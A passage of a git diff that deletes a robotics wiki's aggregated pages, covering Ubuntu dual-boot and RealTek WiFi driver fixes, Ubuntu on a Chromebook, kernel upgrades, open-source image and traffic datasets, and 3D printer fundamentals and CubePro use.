RAM sticks already in the computer have the same memory size, support speed, and type of card as the ones purchased. -- For SSDs, the internal memory size does not have to match but the transfer speeds still do. - -## Why the WiFi adapter may not work in some installations -After following all these steps, the WiFi option may not appear for some laptops after installation and a reboot. In Ubuntu, search for the Wi-Fi page in Settings and check if it says “No Wi-Fi Adapter Found”. If so, return to Windows and check what the WiFi card is under the Device Manager window. If it is a RealTek WiFi RTL8852, then the issue is that (as of 2022/2023) RealTek WiFi cards are not adapted to work with Linux distributions. To remedy the situation, choose one of the following options: -1. Purchase an external WiFi adapter from Amazon or other retailers. - - Check that the product says it will work with Linux. - - The adapter may require drivers to be installed for the adapter to work as well, which are available from a CD or online. -2. Install a driver from a git repository. - - The correct repo will depend on the exact type of WiFi card. - - For the 8852be there is this git repo [this git repo](https://github.com/HRex39/rtl8852be/tree/main). Follow the instructions on [this page](https://askubuntu.com/questions/1412219/how-to-solve-no-wi-fi-adapter-found-error-with-realtek-rtl8852be-wifi-6-802-11). - -In either case, however, usage will require essential packages like build-essential, which are normally installed during Ubuntu installation but can be missed due to the lack of WiFi card support during installation. As a result, the Catch-22 of connecting to WiFi to install the packages and drivers needed to permanently connect to WiFi needs to be resolved. If using an external driver, see if the drivers can be installed via CD or from the adapter itself instead of from online. Otherwise, find a smartphone that has the function to pass Internet connection via tethering and use this connection temporarily to run apt commands and install all necessary packages for the desired drivers. Once all instructions for the chosen method are finished, it may take a few minutes, but then the WiFi adapter will be functional. - -## Summary -There are a few ways Ubuntu installation can go wrong or be delayed but this page hopefully will help a few people avoid major mistakes that held the writers of this page back a few weeks. After this guide the computer should be ready for installing browsers (such as Firefox), IDEs (such as VSCode or PyCharm), and libraries (such as mujoco or realsense-ros) as desired. - -## See Also: -- [Ubuntu 14.04 on Chromebook](https://roboticsknowledgebase.com/wiki/computing/ubuntu-chromebook) -- [Upgrading Ubuntu Kernels](https://roboticsknowledgebase.com/wiki/computing/upgrading-ubuntu-kenel) - -## Further Reading -- [Git repositories for drivers for different types of RealTek cards](https://www.github.com/lwfinger) -- [Instructions for how to install the driver listed in this page](https://www.askubuntu.com/questions/1412219/how-to-solve-no-wi-fi-adapter-found-error-with-realtek-rtl8852be-wifi-6-802-11) - -## References -- [How to Dual Boot Ubuntu 22.04 LTS and Windows 10 | Step by Step Tutorial - UEFI Linux](https://www.youtube.com/watch?v=GXxTxBPKecQ) -- [The Best Way to Dual Boot Windows and Ubuntu](https://www.youtube.com/watch?v=CWQMYN12QD0) -- [Moving Space Between Partitions](https://gparted.org/display-doc.php?name=moving-space-between-partitions) - - -/wiki/computing/ubuntu-chromebook/ ---- -date: 2017-08-21 -title: Installing stable version of Ubuntu 14.04 on Chromebook ---- -Installing Linux on Chromebook Acer C-720 (stable version) - -There are various installation variants for installing linux on Chromebooks. This is the one known stable version: -1. Get the custom Ubuntu 14.04 (64-bit) image available [here](https://www.distroshare.com/distros/get/12/). -2. Create a USB drive with image. -3. Boot Chromebook into Developer Mode. -4. Enable booting from USB device: `$ sudo crossystem dev_boot_usb=1 dev_boot_legacy=1` -5. Insert USB drive. -6. Reboot. Press Ctrl+L to boot from USB drive. -7. Install Ubuntu 14.04 LTS as usual. - - Clear all partitions on `/dev/sda` - - Make a new `swap` partition. - - Make a new `ext4` partition with mount point: `/` - - Continue to create a user ‘username'. -8. Once the installation is complete, reboot. -9. Press `Ctrl+L` to boot into Ubuntu. -10. Make sure you can connect to wireless network and have internet access. -``` -$ sudo apt-get update; sudo apt-get -y dist-upgrade -$ sudo apt-get install git openssh-server -``` -11. Whenever you restart, it will always say “OS is missing”. Do not fret. Just press `Ctrl+L` and you will boot to Ubuntu. -12. If `Ctrl+L` enables blip sounds then follow the above installation steps again. (This happens rarely). - - -/wiki/computing/upgrading-ubuntu-kernel/ ---- -date: 2017-08-21 -title: Upgrading the Ubuntu Kernel ---- -Following are the steps to be followed for upgrading the Ubuntu kernel: - -For 64 bit processors(download the following amd64 files for your desired kernel) -Here the desired kernel is `3.19.0-generic`. The following commands should be run in a terminal: -1. `wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.19-vivid/linux-headers-3.19.0-031900-generic_3.19.0-031900.201504091832_amd64.deb` -2. `wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.19-vivid/linux-headers-3.19.0-031900_3.19.0-031900.201504091832_all.deb` -3. `wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.19-vivid/linux-image-3.19.0-031900-generic_3.19.0-031900.201504091832_amd64.deb` -4. `sudo dpkg -i linux-headers-3.19.0*.deb linux-image-3.19.0*.deb` -5. `sudo update-grub` -6. `sudo reboot` - -> For 32 bit processors(download the i386 files instead of the above and follow the same steps). - -After rebooting, check whether the kernel has upgraded using: `uname -r`. If on booting a screen appears saying kernel panic, then: -1. Restart the computer -2. Switch to the Grub menu -3. Go to Ubuntu Advanced Options -4. Select the older kernel that was working properly -5. This will take you to your older Ubuntu kernel diff --git a/wiki/datasets/__all_subsections.md b/wiki/datasets/__all_subsections.md deleted file mode 100644 index 5d0bc4b2..00000000 --- a/wiki/datasets/__all_subsections.md +++ /dev/null @@ -1,236 +0,0 @@ -wiki/datasets/open-source-datasets/ ---- -# Date the article was last updated like this: -date: 2021-04-27 # YYYY-MM-DD -# Article's title: -title: Open Source Datasets ---- -This is an article to teach you how to make your own dataset or where to find open-source datasets that are free to use and download. - -## Creating a Custom Dataset -Capture your own images with a camera then create labels for each image that indicates the bounding boxes and IDs of the object class captured. - -*Option 1:* -Create labels for all of the images using Yolo_mark [1]. The repo and instructions for use can be found [here](https://github.com/AlexeyAB/Yolo_mark). These labels will be made in the darknet format. - -*Option 2:* -Use Innotescus, a Pittsburgh startup working on high-performance image annotation. They offer free academic accounts to CMU students. You can upload datasets and have multiple people working on annotations. There are task metrics that track how many of each class of image are annotated and show heat maps of their relative locations within an image so you can ensure proper data distributions. - -Create a free beta account [here](https://innotescus.io/demo/) - - -## Open-Source Datasets: -### General Datasets -[OpenImages](https://storage.googleapis.com/openimages/web/index.html) - -[MS COCO](https://cocodataset.org/#home) - -[Labelme](http://labelme.csail.mit.edu/Release3.0/browserTools/php/dataset.php) - -[ImageNet](http://image-net.org/) - -[COIL100](http://www1.cs.columbia.edu/CAVE/software/softlib/coil-100.php) - -Image to Language: -[Visual Genome](http://visualgenome.org/) -[Visual Qa](http://www.visualqa.org/) - -[CIFAR-10](https://www.cs.toronto.edu/~kriz/cifar.html) - - -### Specific Application Datasets: - -[Chess Pieces](https://public.roboflow.com/object-detection/chess-full) - -[BCCD](https://public.roboflow.com/object-detection/bccd) - -[Mountain Dew](https://public.roboflow.com/object-detection/mountain-dew-commercial) - -[Pistols](https://public.roboflow.com/object-detection/pistols) - -[Packages](https://public.roboflow.com/object-detection/packages-dataset) - -[6-sided dice](https://public.roboflow.com/object-detection/dice) - -[Boggle board](https://public.roboflow.com/object-detection/boggle-boards) - -[Uno Cards](https://public.roboflow.com/object-detection/uno-cards) - -[Lego Bricks](https://www.kaggle.com/joosthazelzet/lego-brick-images) - -[YouTube](https://research.google.com/youtube8m/index.html) - -[Synthetic Fruit](https://public.roboflow.com/object-detection/synthetic-fruit) - -[Fruit](https://public.roboflow.com/classification/fruits-dataset) - -Flowers: -[Flower Classification 1](https://public.roboflow.com/classification/flowers_classification) -[Flower Classification 2](https://public.roboflow.com/classification/flowers) -[Flower Classification 3](http://www.robots.ox.ac.uk/~vgg/data/flowers/102/index.html) - -Plants: -[Plant Doc](https://public.roboflow.com/object-detection/plantdoc) -[Plant Analysis](https://www.plant-image-analysis.org/dataset) - -[Wildfire smoke](https://public.roboflow.com/object-detection/wildfire-smoke) - -[Aerial Maritime Drone](https://public.roboflow.com/object-detection/aerial-maritime) - -[Anki Vector Robot](https://public.roboflow.com/object-detection/robot) - -[Home Objects](http://www.vision.caltech.edu/pmoreels/Datasets/Home_Objects_06/) - -Indoor Room Scenes: -[Princeton lsun](http://lsun.cs.princeton.edu/2016/) -[MIT toralba](http://web.mit.edu/torralba/www/indoor.html) - -[Places](http://places.csail.mit.edu/index.html) - -[Parking Lot](https://public.roboflow.com/object-detection/pklot) - -[Car Models](http://mmlab.ie.cuhk.edu.hk/datasets/comp_cars/index.html) - -[Improved Udacity Self Driving Car](https://public.roboflow.com/object-detection/self-driving-car) - -[Pothole](https://public.roboflow.com/object-detection/pothole) - -[Hard Hat](https://public.roboflow.com/object-detection/hard-hat-workers) - -[Masks](https://public.roboflow.com/object-detection/mask-wearing) - -#### People and Animals: -[Aquarium](https://public.roboflow.com/object-detection/aquarium) - -[Brackish Underwater](https://public.roboflow.com/object-detection/brackish-underwater) - -[Racoon](https://public.roboflow.com/object-detection/raccoon) - -[Thermal Cheetah](https://public.roboflow.com/object-detection/thermal-cheetah) - -[ASL](https://public.roboflow.com/object-detection/american-sign-language-letters) - -[RPS](https://public.roboflow.com/classification/rock-paper-scissors) - -[Human Hands](https://public.roboflow.com/object-detection/hands) - -[Human Faces](http://vis-www.cs.umass.edu/lfw/) - -[Celebrity Faces](http://mmlab.ie.cuhk.edu.hk/projects/CelebA.html) - -[Thermal Dogs and People](https://public.roboflow.com/object-detection/thermal-dogs-and-people) - -[Dogs](http://vision.stanford.edu/aditya86/ImageNetDogs/) - -[Dogs and Cats](https://public.roboflow.com/object-detection/oxford-pets) - - -## Summary -We reviewed how to create labels for custom images to build a dataset. We also reviewed where to access specific and general open-source datasets depending on your application. - -## See Also: -- Using your [custom dataset to train YOLO on darknet for object detection](https://github.com/RoboticsKnowledgebase/roboticsknowledgebase.github.io.git/wiki/machine-learning/train-darknet-on-custom-dataset) - -## References -[1] AlexeyAB (2019) Yolo_mark (Version ea049f3). . - - - - -/wiki/datasets/traffic-modelling-datasets/ ---- -date: 2020-04-24 -title: Traffic Modelling Datasets ---- - -Traffic modelling is a hot topic in the field of autonomous cars currently. Here you will find a list of open datasets which can be used as source for building a traffic model. The list will include data captured from a variety of sources as listed below: -- UAV/Drones -- Traffic Camera -- Autonomous Cars - -> This is not a list of datasets for learning-to-drive. This list is more focused towards dataset which provide global perspective of the traffic scenarios, rather than ego-vehicle perspective. Though few ego-vehicle datasets can be used for traffic modelling as well. - -# Datasets -1. ### [Argoverse](https://www.argoverse.org/data.html#download-link) - - 3D tracking data: 113 segments of 15-30secs each. - - Motion Forecasting: 324,557 segments of 5secs each (Total 320hrs) - - Python APIs available for visualization on HD maps - - Data not split into signalized and non-signalized intersections. - -2. ### [Interaction](https://interaction-dataset.com/) - - Contains roundabout, lane merging - which do not require Traffic Light info. - - "DR_" recorded via drones. "TC_" are track files recorded via fixed cameras. - - HD map has drive-able area and lane markings - - No video or image available - - Position, velocity, orientation, bbox dimension in csv - - Python APIs available for visualization on HD maps - -3. ### [In-D](https://www.ind-dataset.com/) - - Python script to visualize data available. - - bbox dimension, center (x,y), velocity (x,y and lat-long), acceleration (x,y and lat-long), heading in csv. - - xx_background.png contains image of the road. No other images/ videos. - - Lane markings, drive-able area part of HD maps (.osm file). - - Entire data at signalized intersection. - -4. ### [High-D](https://www.highd-dataset.com/) - - Python script to visualize data available. - - bbox dimension, center (x,y), velocity (x,y and lat-long), acceleration (x,y and lat-long), heading in csv. - - xx_background.png contains image of the road. No other images/ videos. - - Lane markings, drive-able area part of HD maps (.osm file). - - Entire data at highway. - -5. ### [NGSIM](https://data.transportation.gov/Automobiles/Next-Generation-Simulation-NGSIM-Vehicle-Trajector/8ect-6jqj) - - Vehicle ID, local x,y and global x,y, vehicle width and length. - - Video available for road and lane data. Video quality very bad! - - CAD files of area available. - -6. ### [Stanford](https://cvgl.stanford.edu/projects/uav_data/) - - Contains data at 8 (~ * 5) scenes. - - 100% view not available for all intersection. In-campus roads not a good representation of normal traffic scenarios. More pedestrian and bike data. - - More info available [here](https://mrsd-teamh.atlassian.net/wiki/spaces/M/pages/193363984/Dataset+Details). - -7. ### [NuScenes](https://www.nuscenes.org/) - - 1000 scenes. - - All location data is given with respect to the global coordinate system. - - Global x, y, z - - Bbox l, b, h - - Rotation in Quaternion - - Contains Pedestrian Data - - [Publication](https://arxiv.org/pdf/1903.11027.pdf) - -8. ### [Apollo](http://apolloscape.auto/trajectory.html) - - The trajectory dataset consists of 53min training sequences and 50min testing sequences captured at 2 FPS - - Global x, y, z positions - - object length, width, height, heading - - frame_id, object_id, object type - - Data not split into signalized and non-signalized intersections. - -9. ### [Round-D](https://www.round-dataset.com/) - - Python script to visualize data available. - - bbox dimension, center (x,y), velocity (x,y and lat-long), acceleration (x,y and lat-long), heading in csv. - - xx_background.png contains image of the road. No other images/ videos. - - Lane markings, drive-able area part of HD maps (.osm file). - - Full data on roundabouts. - -Below we mention several parameters crucial for learning behavior and interactions between vehicles in a recorded scenario against each dataset. - -| S.No. | Data Source | Road | Lane Boundary | Vehicle | Pedestrian | Traffic Light | -|-------|:-----------:|:-----------------------------:|:-----------------------------:|:-------:|:----------:|:--------------------------------------:| -| 1 | [Argoverse](https://www.argoverse.org/data.html#download-link) | ✔️ | ✔️ | ✔️ | ✔️ | ❌ | -| | | | | | | | -| 2 | [Interaction](https://interaction-dataset.com/) | ✔️ | ✔️ | ✔️ | ❌ | ❌ | -| | | | | | | | -| 3 | [In-D](https://www.ind-dataset.com/) | ✔️ | ✔️ | ✔️ | ✔️ | ❌ | -| | | | | | | | -| 4 | [High-D](https://www.highd-dataset.com/) | ✔️ | ✔️ | ✔️ | ✔️ | ❌ | -| | | | | | | | -| 5 | [NGSIM](https://data.transportation.gov/Automobiles/Next-Generation-Simulation-NGSIM-Vehicle-Trajector/8ect-6jqj) | ✔️ | ✔️ | ✔️ | ❌ | ✔️ | -| | | | | | | | -| 6 | [Stanford](https://cvgl.stanford.edu/projects/uav_data/) | ❌ | ❌ | ✔️ | ✔️ | ❌ | -| | | | | | | | -| 7 | [NuScenes](https://www.nuscenes.org/) | ✔️ | ✔️ | ✔️ | ✔️ | ❌ | -| | | | | | | | -| 8 | [Apollo](http://apolloscape.auto/trajectory.html) | ❌ | ❌ | ✔️ | ✔️ | ❌ | -| | | | | | | | -| 9 | [Round-D](https://www.round-dataset.com/) | ✔️ | ✔️ | ✔️ | ✔️ | ❌ | -| | | | | | | | diff --git a/wiki/fabrication/__all_subsections.md b/wiki/fabrication/__all_subsections.md deleted file mode 100644 index 139b454e..00000000 --- a/wiki/fabrication/__all_subsections.md +++ /dev/null @@ -1,504 +0,0 @@ -/wiki/fabrication/3d-printers/ ---- -date: 2017-08-21 -title: 3D Printers ---- -**This article is a technology overview of the fundamentals of 3D Printers, especially "Fused Filament Modeling" (FFM) & "Fused Deposition Modeling" (FDM). It explains the fundamentals of 3D Printer technology and applications. It should be useful for those considering working with, designing, or modifying a 3D printer. It is not intended to be a guide for using the lab's 3D printers.** - -## The Basics -### What is 3D printing? -Fundamentally, 3D Printing is the concept of additively producing a physical part from a 3D part file. Typically, this done by breaking a 3D part into horizontal layers and then printing each layer as a planar part of constant thickness. However, there are other methods. For example, [Carbon3D](http://carbon3d.com/), uses an alternative approach known as Digital Light Synthesis which is a two step process of printing with a support resin then melting the support structure away. - -![Layering of Material to Create a Shape used in 3D Printing](/assets/images/fabrication/3DPrinters-10477.png) - -Recently 3D printing has become somewhat of a revolution for three reasons: - -1) Fast, Easy, Prototyping -3D printing is often able to produce prototype parts faster and easier than traditional manufacturing methods. In theory, 3D printers can work similarly to a traditional paper in which a user 'presses print' and returns some time later to extract a completed part from the printer. - -2) Parts which are otherwise unattainable -3D printing enables manufacture of parts which are impossible (or extremely difficult) by traditional methods. Complex internal geometries for example which are often impossible to make by traditional machining can easily be produced by 3D printing. This can be especially helpful for [parts which require internal fluid .](http://3dprinting.com/news/ge-aviation-gets-faa-certification-for-first-3d-printed-jet-engine-part) - -3) No cost for complexity: -Unlike traditional machining, 3D printed parts often incur no additional costs when part complexity is increased. Ribs, gussets, fillets, chamfers, internal geometries, etc all typically add additional steps to a traditional machining process, but require no additional overhead for 3D printing. This can free part designers to [create more complex parts and spend less time on Design for Manufacture (DFM).](https://en.wikipedia.org/wiki/Design_for_manufacturability) - - -## Different types of 3D printing -3D printing comes in many flavors. Varying requirements for precision, materials, speed, cost, size, and application have produced a wide range of different 3D printing technologies. A brief summary of some of the most common variations is as follows. A more detailed explanation is available [here](http://3dprintingindustry.com/3d-printing-basics-free-beginners-guide/processes/). - -### Fused Deposition Modeling/Fused Filament Modeling (FDM/FFM) -When makers, hobbyists, and small companies discuss 3D printing they are almost exclusively referring to FDM/FFM. Makergear, Makerbot, RepRaps, Lulzbot, DeltaWasps, FlashForge, Ulitmaker, Witbox, and Craftbot, are all common examples of FDM/FFM printers. - -FDM works by melting a plastic filament, which is then extruded through a nozzle and deposited onto a build surface layer by layer to produce a three dimensional part. - -The acronym 'FDM' is trademarked by [Stratasys](http://www.stratasys.com/), one of the largest player in the 3D printing industry. Other 3D printer companies using this type of technology generally refer to it by a similar acronym although the technology is generally identical. - -### Selective Laser Sintering (SLS) -Within larger engineering companies, SLS machines are sometimes available. These use high powered lasers to fuse together extremely fine metal powders in an oxygen-reduced environment. The reduced oxygen environment is essential to prevent oxides from forming which can inhibit the bonding of powder. - -SLS printing is extremely expensive both in terms of capital equipment (millions) and feedstock. Trained operators are required to safely operate the machines as the fine metallic powder produces a serious inhalation hazard. The technology can however produce extremely complex parts out of difficult to machine materials such as titanium and stainless steel. CMU has a few of these printers on campus, including one that students can send parts to in the [Mechanical Engineering Shop](https://www.cmu.edu/me/facilities/student-shop.html). - -### Stereolithography (SLA) -Stereolithography is an older technology that has made significant headway and gained more commercial adoption within the last 10 years. The process is based on using a vat of liquid photopolymer material, which hardens when exposed to certain wavelengths of light. To form a part a build plate is positioned within the vat onto which a layer of the part is projected in the correct wavelength. After being exposed for several seconds, the build plate moves by a layer thickness and the next layer is projected onto the surface of the first. A good video of the process is available [here](http://manufacturing.materialise.com/stereolithography). - -There are two primary variants of the stereolithography; top down and bottom up. In top down approaches the build plate is initially positioned just below the surface of the liquid in the vat. In bottom up approaches the build plate starts at the bottom of the vat and the image is projected through a plate of glass on the bottom. - -Typically, SLA machines also are operated with secondary equipment which further harden and/or clean the product after it is removed from the vat. SLA feedstocks prices vary significantly across companies and materials but an extremely wide range of polymers with vastly different mechanical properties are available. - -SLA is known for producing parts with high quality surface finishes at a low price, albeit higher than FDM/FFM cost. It is common to encounter SLA machines (or proprietary variants of it) within medium-to-large engineering companies, although low cost desktop versions have begun to gain traction (i.e. [FormLabs](http://formlabs.com/)). - -SLA has also spawned some interesting variants recently. The most notable is Carbon3D which combines bottom up SLA printing with an oxygen permeable print window on the bottom of the vat. The oxygen permeability reduces the curing speed of the material and thus changes from a 'layer by layer' paradigm to a 'continuous' print where a video is projected onto the material while the build platform slowly and continuously moves upward. -An example can be seen [here](https://www.youtube.com/watch?v=UpH1zhUQY0c). - -### Material Jetting -Material Jetting is a process which can be visualized similar to an inkjet printer. A print head moves across a build surface while hundreds of nozzles deposit micro-droplets of a liquid polymer material. These droplets then harden (usually via photo-curing) to form the geometry of the part. After traveling across the print surface, the nozzle (or the build platform) moves by one layer thickness and the process repeats. - -The [Stratysis Objet Series](https://en.wikipedia.org/wiki/Objet_Geometries#Technology) of printers is a commonly encountered material jetting machine. Objet machines are accessible to students in CMU's [Material Science Shop run by Larry Hayhurst](https://www.cmu.edu/cheme/about-us/labs/machine-shop/index.html) and in the [School of Architecture dFab lab](http://cmu-dfab.org/) - -Material jetting machines are known to produce parts with good surface finishes (tolerances of .005 inches are achievable) and are capable of printing multi-material parts. Material jetting machines typically use a support material to support internal surfaces and provide a consistent surface finish. Because of this a huge amount of material is often needed to print even simple parts, as they are typically enclosed in around 1/8" of support material. - -## Industry Segmentation -[IBISWorld](http://clients1.ibisworld.com/?u=XTrdcEUxGT9ofTiep6uaiw==&p=Evn+48Pl8G+/5sICIXpGHA==) provides a overview of the 3D printer manufacturing industry. This is focused on large high volume companies such as Straysis and [3D Systems](http://www.3dsystems.com/) and does not include many of the effects of smaller volume 'maker' targeted companies. It shows a roughly equal breakdown between SLA, SLS, and FDM technologies. -![Industry Segmentation by 3D Printing Technologies](/assets/images/fabrication/3DPrinters-a3389.png) - - - - -## How does a FDM/FFM 3D printer work? -### Parts of an FDM/FFM 3D printer -#### Hot End -Broadly referred to as the 'nozzle' the hot end is the portion of the 3D printer which melts, shapes, and deposits print filament to form the part. Typically it is made of the following components: -##### Nozzle -The nozzle is typically made of brass and is a conical nozzle with a small diameter hole through it. For low-cost machines (i.e. anything 'maker') it is usually attached to the heat block with a M6x1 thread. It is designed to be heat-conductive to maintain melting temperatures at the tip of the nozzle where small geometry limits the amount of thermal energy that can be transferred to the material. The length of the small diameter hole is often minimized as viscous friction affects become significant and require a large extrusion pressure to push the highly viscous molten plastic through a small port. - -##### Heat Block -The heat block is generally made from aluminum (sometimes brass, i.e. ultimaker) and is responsible from transferring heat from the heater (usually a cartridge heater) and thermistor. It typically connects to both the nozzle and barrel with a single M6x1 thread. Strangely, no one seems to use a tapered thread which often leads to molten plastic leaking out from the top and bottom of the heatblock. Teflon tape helps, but a worthwhile project would be to replace this with a NPT thread or similar. - -##### Barrel -The barrel is a tube (usually stainless steel, often with a PTFE liner) which connects the heat block to the extruder (possibly through a Bowden tube). The main design challenge of the barrel is to reduce the amount of heat which can travel across it, thus confining the melt zone to the heatblock/nozzle assembly. Too much heat traveling up the barrel leads to softening/melting of the filament which leads to jamming, excessive extrusion, and inconsistent prints. Barrels are typically made from stainless steel due to its low thermal conductivity. A PTFE liner also is commonly used since it can withstand the high temperatures at the nozzle, provides good thermal insulation between the filament and the metallic barrel, and perhaps most importantly molten filament will not stick to it's slippery surface. - -Numerous barrel designs are available, with different features to try to limit heat transfer. Heat sinking features (such as aluminum fins) are common, as are 'heat brakes' which is a section of narrow diameter to reduce the cross-sectional area through which heat can transfer. These different features can have a significant affect on the performance of a 3D printer and thus it is recommended some experimentation be performed if working on a 3D printer project and print quality is sub-optimal. Some examples are [RepRap](https://reprapchampion.com/products/reprap-3d-printer-extruder-brass-barrel-for-mg-plus-hot-end-3-0mm-or-1-75mm), [CycleMore](http://www.my3dprinterblog.com/cyclemore-5pcs-hotend-barrel-m630mm-teflon-nozzle-for-mk8-tube-makerbot-3d-printer-extruder-hot-end/), and a larger [RepRap](http://www.my3dprinterblog.com/plus-barrel-m626-nozzle-throat-for-reprap-3d-printer-extruder-hot-end-1-75mm/). - -##### Extruder/Filament Drive -The extruder/filament drive component is the mechanical assembly used to push the feedstock filament through the system. It typically features a stepper motor, some sort of gear reduction, and a 'drive gear' which engages with the filament to push it through the system. Feeding the filament requires large forces and thus significant design effort is applied towards the drive gear (making it firmly engage with the filament, not tear it) and the filament support to prevent it from buckling. There are numerous different extruder designs, some of which are must better suited for certain filament types than others (i.e. soft vs. hard filaments). - -Many of the extruder designs can be 3D printed, so once you have one that at least partially works, it is easy to try numerous other designs and to make modifications. - -Some of the most commonly used extruder drives: -- [Wade's Geared Extruder](http://reprap.org/wiki/Wade's_Geared_Extruder) - One of the first reliable extruder designs. -- Frequently used on reprap projects, [Greg's Hinged Extruder](http://reprap.org/wiki/Greg's_Hinged_Extruder), is a variant on the Wade extruder, which is similar to the design used on many commercial printers such as MakerGear and MakerBot. -- [Ultimaker extuder](https://ultimaker.com/en/products/extrusion-upgrade-kit), one of the best extruders for common PLA/ABS filament. Has a large gap between the drive gear and output tube thus making it less suitable for soft filaments (i.e. [ninjaflex](http://www.ninjaflex3d.com/products/ninjaflex-filaments/), [semiflex](http://www.ninjaflex3d.com/products/semiflex/)). - -#### X-Y axes -The x-y axis construction of 3D printers is one of the most variable aspects between different designs. Within the 'traditional approaches' (in which there is one motor per axis) different printer manufactures chose to move the nozzle, print bed, or both. Drive mechanisms vary between rack gear drives, belt drives, and filament drives. - -A number of clever alternative designs also exist which couple the motion between different motors to move the print bed or nozzle. The [CoreXY](http://corexy.com/) design mixes motion from two motors for the X-Y axes through a single filament or belt drive. [Delta geometries](http://reprap.org/wiki/Delta_geometry) mix motions between 3 vertical axes to produce coupled x-y-z movements transferred to the nozzle via connecting rods with ball joints. Proponents of these technologies argue that they provide more symmetric construction, reduced moving mass (enabling higher print speeds), and larger or more practical build volumes. Opponents cite increased mechanical complexity, increased software complexity, and varying positional tolerances throughout the build volume. - -#### Z axis -The z axis is responsible for moving the build platform (or occasionally the nozzle) between layers. As such, it has significantly different requirements than the X-Y axes which are continuously rapidly moving throughout the print. Z axes are typically geared lower since speed is less critical but they must support a much larger mass. Backlash is also less of a design consideration since the axis typically only moves in one direction throughout the print. - -#### Endstops -Since almost all 3D printer designs utilize stepper motors for axis motions, inclusion of endstops is necessary for homing the axes at power up. The importance of good endstop design should not be overlooked since its accuracy and repeatability will directly affect the quality of the print. The ability to provide mechanical adjustment is often essential as printer geometry will be varied via the use of different nozzles, barrels, extruders, etc. - -Wiring and firmware must also be considered, since it is often desirable to have the endstops 'always active' so that they will prevent any of the axes trying to drive beyond it's mechanical limits, which can be caused by incorrectly generated G-Codes. Use of interrupt driven code for endstop checking is best for this application, since response time is critical and the processors in 3D printers are typically heavily taxed performing geometry calculations. - -#### Build Platform + Build Chamber -The platform on which the part to be built is worth consideration. These are typically heated to increase material adhesion, and the temperature may be varied throughout the print to maximize platform adhesion in the beginning of the print, and prevent thermal warping of the part in later stages. Surface material is important since it also greatly affects the adhesion. Glass is commonly used since it provides a low cost extremely flat surface, but it is often modified (with kapton tape, spray adhesives, etc) to improve adhesion. Professional-grade 3D printers (i.e. Stratysis) typically use various thermoplastics for their platform which can be rapidly swapped between builds. An interesting concept which has gained some traction is flexible build platforms. When placed on a flat surface they provide a flat surface for part construction, but then allow easy part removal by flexing the platform after the print is finished. [This video](https://www.youtube.com/watch?v=1T5BdRFlCd8) highlights the concept well. - -The [RepRap Wiki](http://reprap.org/wiki/Heated_Bed) has a great and exhaustive description of platform types and design considerations - -Many printers (i.e. makerBot) also use heated build chambers. The concept is to prevent part warpage by maintaining a consistent temperature throughout the entire build volume. Often these chambers are heated by the build platform, with the entire build volume enclosed by an insulating chamber. - -#### Fans -Fans are used extensively in 3D printers. They are commonly used for cooling the print material as it is deposited, cooling the barrel/hot-end assembly to prevent heat from melting the filament prematurely, and for cooling the stepper motor drivers. For the part-cooling fans, numerous control strategies are used including not running the fan for the initial layers (to maximize platform adhesion) or only running the fan when bridging gaps within the print. - - -/wiki/fabrication/cube-pro/ ---- -date: 2017-08-21 -title: Building Prototypes in CubePro ---- -[Cube Pro](https://www.3dsystems.com/shop/cubepro) is a 3D printing alternative to the popular MakerBot Replicator Series. This is a step-by-step tutorial to using CubePro for developing prototypes and parts. CubePro is available to Carnegie Mellon University Students in Mechanical Engineering cluster. - -## Step 1: Material Check -Before starting your print, check the type of material and how much it is available for printing. - -## Step 2: Building Model Using Cube Pro Software -For printing parts in Cube Pro, you need to develop a build file using the Cube Pro software available on the cluster computers. You need to import a `.STL` file and align the model on the plate in the software. Make sure that your model dimensions do not exceed the maximum dimensions that Cube Pro can print. After importing and aligning the model, select the printer jet (Jet 1 or Jet 2 depending on the cartridge installation in the Cube Pro) and material in the printer option in Cube Pro software. After selecting this, select “Build”. This open a dialogue where you can select the “Layer Resolution” (70, 200, 300 micron), “Print Strength” (Hollow, Strong, Almost Solid and Solid) and “Print Pattern” (Cross, Diamonds and Honeycomb), determine whether you need “Support Material” for your print and select build. This will create a build file for your model and tell you how time it will take to print. - -## Step 3: Placing the build plate -Place the build plate in the build chamber. Make sure you use the right sized plate in the Cube pro. Magnets at the bottom of the plate will ensure that the plate stays in plate during the printing process. - -## Step 4: Plate Leveling -By using the touch screen, open the “Setup” option. Scroll right until you reach the “Level Plate” option. Select “Level Plate” option. Now you will see a square with 3 triangles (representing the leveling screws beneath the build plate) with the top left screw selected by default. Put a sheet of paper on the build plate so that it is between the nozzle and the build plate. Using the leveling screws, raise (CCW motion) or lower (CW motion) the plate so that you are just able to pull the paper out without damaging the paper. By doing so, you not be able to push the paper between the nozzle and the build plate. Repeat the process for all the leveling screws. - -## Step 5: Print Your Model -After leveling the plate, go to the home screen. Plug your pen-drive which has your build file for the model you want to print in the slot provided. The build file can be created by using the Cube Pro software on the cluster computers. After you have plugged the pen-drive in, select “Print” on the home screen. You will see different build files on your pen-drive displayed on the screen. Scroll and select the right build file and select “Print” on the bottom of the screen. Cube Pro will now ask you to apply glue on the build plate. - -## Step 6: Applying Glue -After the build plate comes to rest, apply glue on it covering the area that is going to be covered while printing. A good estimate can be obtained from the build file which shows the expected area covered by the print. Glue should be applied in a smooth fashion without pressing too much on the plate. Also, glue should be applied sufficiently as too little or too much glue will create problems during and after print. Too little glue will lead to the material not sticking to the build plate during print and result in bad print or print failure. Too much glue will result in difficulty in getting the printed part off the build plate and may result in damage to the part. After you have applied the glue, close the Cube Pro door and select the check mark at the bottom of the screen. The Cube Pro will start printing the model. - -## Step 7: Part Removal -After the print has completed, wait for some time so that the heated plate can cool down. After the cool down, remove the build plate carefully from the Cube Pro and run the part and the plate under water (preferably hot). Water dissolves the glue and allows easier removal of part. You might need to use a chisel to remove you part (depends on the material, print pattern and the amount of glue you have used). After removing the part, clean the part and the plate using paper towels. Also remove and stray chips that might have been left during the part removal on the plate so that you and others have a smooth surface for the next print. - - -/wiki/fabrication/fabrication-considerations-for-3d-printing/ ---- -date: 2019-05-16 -title: Fabrication Considerations for 3D printing ---- - -There is more to 3D printing than designing components and parts and replicating those 3D solid models into useful assemblies. When beginning a design, one must take into account the 3D filament to use, the 3D printing equipment, the model’s final resolution and the limitations of each 3D CAD software to fabricate quality parts. By keeping these key elements in mind, along with repetition, the 3D printing practitioner and designer will maximize his/her efforts, resulting in high-quality finished products. - -Following are some of the main consideration one must keep a note of while designing and fabricating parts using 3D printing: - -## 1. 